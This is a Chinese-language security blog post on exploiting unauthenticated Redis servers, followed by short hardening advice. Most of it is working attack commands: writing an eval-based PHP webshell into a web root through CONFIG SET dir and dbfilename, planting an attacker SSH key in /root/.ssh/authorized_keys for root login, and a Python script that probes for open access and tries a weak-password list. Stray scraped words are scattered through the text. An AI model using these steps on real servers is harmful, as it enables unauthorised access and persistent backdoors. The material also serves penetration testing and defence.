#下载并安装 cd /tmp wget http://download.redis.io/releases/redis-2.8.17.tar.gz tar xzf redis-2.8.17.tar.gz cd redis-2.8.17 make #启动redis服务 cd src ./redis-server
启动redis服务进程后,就可使用测试客户端程序redis-cli和redis服务交互了。 好比:php
root@kali:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140 192.168.125.140:6379> ping PONG 192.168.125.140:6379>
使用redis客户端直接无帐号成功登陆redis:html
从登陆的结果能够看出该redis服务对公网开放,且未启用认证。python
利用前提:web
1.redis未受权 能redis-cli连上redis
2.开了web而且知道路径(如利用phpinfo)shell
咱们能够将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则咱们就能够写入一个路径为a/b的任意文件:数据库
config set dir /home/wwwroot/default/ config set dbfilename redis.php set webshell "<?php phpinfo(); ?>" save
当数据库过大时,redis写shell的小技巧:c#
<?php
set_time_limit(0);
$fp=fopen('wtf.php','w');
fwrite($fp,'<?php @eval($_POST[\"mmbns233\"]);?>');
exit();
?>
ssh免密码配置安全
ssh-keygen -t rsa -P '' #生成公钥/私钥对 cd /root/.ssh/ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt #将公钥写入 foo.txt 文件
链接 Redis 写入文件
cat foo.txt | ./redis-cli -h 192.168.125.140 -x set crackit ./redis-cli -h 192.168.125.140 config set dir /root/.ssh/ config get dir config set dbfilename "authorized_keys" save
利用私钥成功登陆redis服务器服务器
可用来测试是否存在未受权或弱口令的状况
#! /usr/bin/env python # _*_ coding:utf-8 _*_ import socket import sys PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin'] def check(ip, port, timeout): try: socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("INFO\r\n") result = s.recv(1024) if "redis_version" in result: return u"未受权访问" elif "Authentication" in result: for pass_ in PASSWORD_DIC: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((ip, int(port))) s.send("AUTH %s\r\n" %(pass_)) result = s.recv(1024) if '+OK' in result: return u"存在弱口令,密码:%s" % (pass_) except Exception, e: pass if __name__ == '__main__': ip=sys.argv[1] port=sys.argv[2] print check(ip,port, timeout=10)
Redis测试:
一、比较安全的办法是采用绑定IP的方式来进行控制。
请在redis.conf文件找到以下配置
# If you want you can bind a single interface, if the bind option is not # specified all the interfaces will listen for incoming connections. # # bind 127.0.0.1
把# bind 127.0.0.1前面的 注释#号去掉,而后把127.0.0.1改为你容许访问你的redis服务器的ip地址,表示只容许该ip进行访问,这种状况下,咱们在启动redis服务器的时候不能再用:redis-server,改成:redis-server path/redis.conf 即在启动的时候指定须要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我不免有多台机器访问一个redis服务。
二、设置密码,以提供远程登录
打开redis.conf配置文件,找到requirepass,而后修改以下:
requirepass yourpassword yourpassword就是redis验证密码,设置密码之后发现能够登录,可是没法执行命令了。 命令以下: redis-cli -h yourIp -p yourPort//启动redis客户端,并链接服务器 keys * //输出服务器中的全部key 报错以下 (error) ERR operation not permitted 这时候你能够用受权命令进行受权,就不报错了 命令以下: auth youpassword
关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注个人我的微信公众号:Bypass--,浏览更多精彩文章。
参考文章:
Redis 安装 http://www.runoob.com/redis/redis-install.html
Redis未受权访问漏洞 http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1
Redis 未受权访问配合 SSH key 文件利用分析 http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/
Redis未受权访问漏洞利用姿式 http://www.jianshu.com/p/e550628ba1bc